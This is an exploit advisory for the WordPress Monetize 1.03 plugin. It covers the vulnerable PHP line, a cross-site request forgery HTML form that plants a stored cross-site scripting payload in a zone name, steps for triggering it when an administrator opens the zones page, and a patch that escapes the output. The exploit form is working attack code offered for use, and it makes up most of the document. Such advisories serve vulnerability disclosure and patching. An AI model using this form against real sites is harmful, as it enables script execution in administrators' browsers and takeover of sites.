WordPress Monetize 1.03 Cross Site Request Forgery / Cross Site Scripting

`######################  
# Exploit Title : Wordpress Monetize Plug-in XSS/CSRF  
# Exploit Author : Ashiyane Digital Security Team  
# Vendor Homepage : https://wordpress.org/plugins/monetize/  
# Date: 2015-08-07  
# Tested On : Kali Linux - FireFox  
# Software Link : https://downloads.wordpress.org/plugin/monetize.zip  
# Version : 1.03  
######################  
# Vulnerable Code:  
File: class-monetize-zones-list-table.php - Line 45  
  
$zone_name_link = '<a   
href="?page=monetize-zones&monetize-zone-id='.$item['zone_id'].'">'.$item['zone_name'].'</a>';  
######################  
# Exploit:  
  
<form name="monetize-zone-new-edit-form" method="post"   
action="http://[URL]/[Path]/wp-admin/admin.php?page=monetize-zones-new">  
<input style="width: 25em;" type="hidden"   
value='"><script>alert(/Mahdi.Hidden/)</script>'   
id="monetize-zone-name" name="monetize-zone-name" size="25"/>  
<input type="hidden" value="222" name="monetize-zone-width" />  
<input type="hidden" value="222" name="monetize-zone-height" />  
<input type="hidden" value="222" name="monetize-zone-css" />  
<input type="submit" value="Add New Zone" name="monetize-zone-new-edit" />  
</form>  
  
# Explain:  
  
Use this exploit to add a "zone" which has malicious code and then if   
admin goes to page "View All Zones" (URL:   
/wp-admin/admin.php?page=monetize-zones) your code will execute.  
######################  
# Patch:  
File: class-monetize-zones-list-table.php - Line 45  
  
$zone_name_link = '<a   
href="?page=monetize-zones&monetize-zone-id='.$item['zone_id'].'">'.htmlspecialchars($item['zone_name']).'</a>';  
######################  
# Discovered By : Mahdi.Hidden  
######################  
`